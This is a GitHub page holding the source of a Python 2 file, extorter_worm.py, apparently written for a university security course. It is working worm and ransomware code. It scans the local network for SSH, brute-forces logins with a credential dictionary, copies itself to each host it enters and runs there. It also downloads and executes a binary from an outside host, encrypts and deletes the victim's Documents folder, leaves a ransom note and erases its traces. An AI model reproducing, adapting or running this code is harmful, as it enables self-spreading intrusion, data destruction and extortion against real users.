-
Notifications
You must be signed in to change notification settings - Fork 10
/
Copy pathextorter_worm.py
233 lines (197 loc) · 7.53 KB
/
extorter_worm.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
import paramiko
import sys
import nmap
import urllib
import socket
from subprocess import call
import tarfile
from time import sleep
from subprocess import Popen
import os
import shutil
# File marking the presence of a worm in a system
INFECTION_MARKER = "/tmp/infectionMarker_extW_python.txt"
# List of credentials for Dictionary Attack
DICTIONARYATTACK_LIST = {
'crazy': 'things',
'nsf': '456',
'security': 'important',
'ubuntu': '123456'
}
ATTACKER_IP = "192.168.1.4"
#############################################
#Creates a marker file on the target system
#############################################
def markInfected():
marker = open(INFECTION_MARKER, "w")
marker.write("I have infected your system")
marker.close()
#######################################################
#Checks if target system is infected
#@return - True if System is infected; False otherwise
#@param - sshC : Handle for ssh Connection
#######################################################
def isInfected(sshC):
infected = False
try:
sftpClient = sshC.open_sftp()
sftpClient.stat(INFECTION_MARKER)
infected = True
except Exception, e:
print("System is not infected")
infected = False
return infected
###########################################
#Returns IP of the current System
#Tries to Connect to global DNS and gets IP address of ETH0
#Reference: http://stackoverflow.com/a/30990617/5741374
###########################################
def getMyIP():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('4.2.2.2', 80))
return s.getsockname()[0]
##########################################################
#Scans the Network to check Live hosts on Port 22
#@return - a list of all IP addresses on the same network
###########################################################
def getHostsOnTheSameNetwork():
portScanner = nmap.PortScanner()
portScanner.scan('192.168.1.0/24', arguments = '-p 22 --open')
hostInfo = portScanner.all_hosts()
liveHosts = []
for host in hostInfo:
if portScanner[host].state() == "up":
liveHosts.append(host)
print("My IP is: "+ getMyIP())
liveHosts.remove(getMyIP())
return liveHosts
#########################################################
#Removes all the worm traces from the remote host
########################################################
def cleanTraces():
try:
os.remove("/home/ubuntu/openssl")
os.remove("/home/ubuntu/DocumentsDir.tar")
os.remove("/tmp/extorter_worm.py")
shutil.rmtree("/home/ubuntu/Documents/")
print("Cleaned up all traces")
except:
print("Files does not exist")
############################################
#Exploits the target system
##########################################
def launchAttack(ssh):
print("Expoiting Target System")
sftpClient = ssh.open_sftp()
sftpClient.put("/tmp/extorter_worm.py","/tmp/extorter_worm.py")
ssh.exec_command("chmod a+x /tmp/extorter_worm.py")
ssh.exec_command("nohup python -u /tmp/extorter_worm.py > /tmp/worm.output &")
print("Copied and executed worm into the system...")
##############################################
#Tries login with the Target System
#@param hostIP - IP of target system
#@param userName - the username
#@param passWord - the password
#@return - ssh
#############################################
def attackSystem(hostIP, userName, passWord):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(hostIP, username = userName, password = passWord)
return ssh
#########################################################################
#Tries to find correct Credentails in the available Dictionary
#@param - hostIp - IP of a client is sent ot test if login is sucessful
#@return - return sshConnection handle if Successful Login else,
#returns False
#########################################################################
def checkCredentials(hostIp):
ssh = False
for k in DICTIONARYATTACK_LIST.keys():
try:
ssh = attackSystem(hostIp, k, DICTIONARYATTACK_LIST[k])
if ssh:
return ssh
except:
pass
print("Could not login to the system")
return ssh
##############################################
#Downlaods openSSL and extortion note files
##############################################
def downloadFiles():
try:
urllib.urlretrieve("http://ecs.fullerton.edu/~mgofman/openssl", "openssl")
print("Downloaded the OpenSSL file")
Popen(["chmod", "a+x", "./openssl"])
except Exception, e:
print("Problem in Execution:", e)
###############################################
#Create tar of the /home/ubuntu/Documens Dir
###############################################
def createTarAndEncrypt():
try:
tar = tarfile.open("DocumentsDir.tar", "w:gz")
tar.add('/home/ubuntu/Documents/')
tar.close()
print("Finished tar of Documents folder")
#Encrypt tar file
Popen(["./openssl", "aes-256-cbc", "-a", "-salt", "-in", "DocumentsDir.tar", "-out", "DocumentsDirPy.tar.enc", "-k", "cs456worm"])
print("Created Encryption File")
except Exception, e:
print("Problem in Execution:", e)
def leaveNote():
marker = open("/home/ubuntu/SystemCompromised.txt", "w")
marker.write("We have deleted the Documents Folder. An encrypted version is placed on your Desktop. You will have to purchase the encrytpion key from us !!!")
marker.close()
##############################################################
#This is start of the replicator worm
##############################################################
print("Started infecting the network .....")
#Get all hosts in the network
discoveredHosts = getHostsOnTheSameNetwork()
markInfected()
myIp = getMyIP()
#######################################################################################
#1. Download Open SSL program
#2. Create tar and encrypt the '/home/cpsc/Documents' folder
#3. Delete 'home/cpsc/Documents' folder
#4. Downlaod an image file and set it as desktop background - Note on users Desktop
#######################################################################################
if(cmp(myIp, ATTACKER_IP) != 0):
try:
print("In the function")
downloadFiles()
createTarAndEncrypt()
leaveNote()
except Exception, e:
print("Problem in Execution:", e)
for host in discoveredHosts:
print(host + " under Observation ...")
ssh = None
try:
ssh = checkCredentials(host)
if ssh:
print("Successfully cracked Username and password of "+host)
if not isInfected(ssh):
try:
launchAttack(ssh)
ssh.close()
break
except:
print("Failed to execute worm")
print("---------------------")
continue
else:
print(host + " is already infected")
except socket.error:
print("System no longer Up !")
except paramiko.ssh_exception.AuthenticationException:
print("Wrong Credentials")
print("---------------------")
if(cmp(myIp, ATTACKER_IP) != 0):
try:
cleanTraces()
except Exception, e:
print("Problem in Execution:", e)
print("I am done now !!")